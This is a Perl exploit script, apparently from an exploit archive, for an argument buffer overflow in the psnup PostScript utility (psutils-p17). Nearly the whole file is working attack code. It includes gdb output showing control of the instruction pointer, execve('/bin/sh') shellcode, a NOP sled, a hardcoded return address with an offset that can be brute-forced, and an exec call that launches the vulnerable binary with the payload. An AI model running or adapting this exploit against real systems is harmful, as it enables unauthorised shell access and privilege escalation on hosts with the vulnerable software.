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PostScript Utilities - psnup Argument Buffer Overflow
[=====================================================
PostScript Utilities - psnup Argument Buffer Overflow
=====================================================
#!/usr/bin/perl
# PostScript Utilities - psnup (all the utilities of the package are vulnerable) *
# *
# written by lammat just for practice purposes *
# tested against psutils-p17 *
# (gdb) r -8 `perl -e 'print "A"x250'` *
# The program being debugged has been started already. *
# Start it from the beginning? (y or n) y *
# Starting program: /usr/bin/psnup -8 `perl -e 'print "A"x250'` *
# (no debugging symbols found).../usr/bin/psnup: can't open input file *
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.... *
# *
# Program received signal SIGSEGV, Segmentation fault. *
# 0x41414141 in ?? () *
# execve(/bin/sh) for linux x86
# 29 bytes
# by Matias Sedalo
$shellcode =
"\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68".
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
$len = 250;
$ret = 0xbffff3a0;
$nop = "\x90";
$oops="/usr/bin/psnup";
$offset = 900;
# offset bruteforce purposes below
if (@ARGV == 1) {
$offset = $ARGV[0];}
for ($i=0; $i<($len-length($shellcode)-100);$i++)
{$buffer .= $nop;
}
$buffer .= $shellcode;
print ("Address: 0x",sprintf('%lx',($ret + $offset)),"\n");
$new_ret = pack('l',($ret + $offset));
until(length($buffer)==$len)
{
$buffer.=$new_ret;
}
exec("$oops -8 $buffer");
# 0day.today [2024-12-24] #